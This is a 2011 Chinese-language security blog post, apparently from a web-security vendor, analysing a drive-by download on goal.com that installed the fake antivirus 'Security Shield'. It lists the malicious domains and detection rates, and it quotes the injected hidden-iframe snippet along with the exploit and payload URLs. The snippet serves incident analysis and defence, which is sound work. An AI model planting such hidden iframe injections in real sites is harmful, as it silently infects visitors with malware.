阿碼外傳－阿碼科技非官方中文 Blog: goal.com再度散播惡意程式：偽防毒軟體"Security Shield"

2011年5月20日

goal.com再度散播惡意程式：偽防毒軟體"Security Shield"

(Credits: Chris Hsiao, NightCola Lin, Wayne Huang)

在我們上一篇分析goal.com的報導中，有提到一段："根據我們所搜集到的資料，有部份的goal.com似乎已經被感染且允許攻擊者操控其網頁內容。受感染網站可能存在供攻擊者持續使用的後門程式，用以控制該網站。"

上次事件中所使用的惡意程式碼在不久之後即從goal.com中消失，然而，HackAlert在最近(2011/5/17)又偵測到該網站有在散播惡意軟體的行為，表示攻擊者在該網站應該已經植入了後門。在這一次，他們透過goal.com來散播偽防毒軟體"Security Shield"。

[摘要]

觸發行為：
在使用者瀏覽Goal.com後，瀏覽器執行了該網站中被插入的惡意程式碼(指向31d6f5art8.co.be)後，不需要透過任何誘騙的手段、也不需要使用者點選特定連結，便會開始產生偷渡式下載(Drive-by Download)的行為將偽防毒軟體"Security Shield"安裝到使用者的電腦上。使用者僅是簡單的瀏覽一個網站，就受到惡意程式的感染。"Security Shield"會持續的發出警告，同時開啟瀏覽器連到一些成人網站，只有在當使用者購買了"序號"之後，才會停止這些擾人的行為。就算將電腦重開機，也沒有辦法停止這些擾人的行為，因為該偽防毒軟體已經安裝到使用者的電腦裡面並且常駐著。

惡意網域 a78hl7zv4p.co.be 針對每一個IP僅會提供一次攻擊碼。

在這篇文章剛發出之後，攻擊者又非常快速的將上面提到的兩個惡意網域關閉，立刻使用了一組新的惡意網域：zfdim0u06t.co.be 以及 4t7uxaxrg8.co.be。而當我們在修改我們部落格上的文章時，他們又換了一組惡意網域：uzldzzzeo3.co.be 及 zepa6hr6jk.co.be。

偵測率：
惡意網域包含 31d6f5art8.co.be、a78hl7zv4p.co.be、zfdim0u06t.co.be 及 4t7uxaxrg8.co.be。沒有任何一個被urlvoid.com上面的18家黑名單提供者標示為黑名單。
至於goal.com本身，在urlvoid.com上同樣也沒有被任何一家標示(0/18)。

惡意程式"Security Shield"本身在VirusTotal上面的偵測率是6/42。

使用技術：
偷渡式下載(Drive-by Download)，攻擊者控制了goal.com的內容。(本案例非透過惡意廣告散播)

以下是我們針對這一事件所錄製的影片，從一開始瀏覽goal.com，到整個"Security Shield"執行起來。

[感染點]
被感染的網址是[http://www.goal.com/en]，以下為感染進去的程式碼片段：

<div id="eplayer">
<style type="text/css">#adtfd {width: 1px;height: 1px;frameborder: no;visibility: hidden;}</style>
<iframe id="adtfd" src="http://31d6f5art8.co.be/ad.jpg"></iframe>
</div>

此段程式碼會產生iframe指向 http://a78hl7zv4p.co.be/domains/buy，這就是產生攻擊碼(exploit code)的網址。
攻擊碼一旦成功執行，瀏覽器會產生偷渡式下載的行為：從 http://a78hl7zv4p.co.be/domains/bf02bde9910ff9be016eb48ac5a51043.php?thread_id=2&f=63444537&topic_id=buy& 下載"Security Shield"。

"Security Shield"會自行進行安裝，隨即開始顯示假的警告以及自動開始瀏覽器連向成人網站：